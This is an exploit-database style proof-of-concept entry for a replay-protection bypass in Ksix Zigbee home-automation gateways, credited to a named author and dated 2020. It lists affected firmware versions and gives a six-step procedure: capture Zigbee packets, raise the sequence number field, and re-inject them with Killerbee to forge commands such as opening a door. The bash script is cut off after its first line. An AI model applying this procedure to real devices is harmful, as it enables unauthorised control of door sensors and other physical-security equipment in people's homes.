Ksix Zigbee devices playback protection bypass proof of concept exploit.
41f7257a6105964113f8a7d53ee997b8# Exploit Title: Ksix Zigbee Devices - Playback Protection Bypass (PoC)
# Date: 2020-11-15
# Exploit Author: Alejandro Vazquez Vazquez
# Vendor Homepage: https://www.ksixmobile.com/
# Firmware Version: (Gateway Zigbee Module - v1.0.3, Gateway Main Module - v1.1.2, Door Sensor - v1.0.7, PIR Motion Sensor - v1.0.12)
# Tested on: Kali Linux 2020.3
# The coordinator of the Zigbee network (Zigbee gateway) does not correctly check the sequence number of the packets that are sent to it, which allows forging messages from an end device to the coordinator (example: turn on a light bulb, open a door, ...) by injecting a very large value in the "sequence number" field.
# To exploit this vulnerability
# 1. Capture Zigbee traffic with a sniffer (Api-Mote) and save it in .pcap format
# 2. Open the file with Wireshark and locate the packet you want to forward (turn on a light bulb, open a door, ...)
# 3. Copy that packet as "hex dump" and save it to a .txt file
# 4. Modify the "sequence number" field to a high value such as 250
# 5. Convert the txt file to .pcap again
# 6. Forward the packet to the network, using a tool such as Killerbee
#!/bin/bash
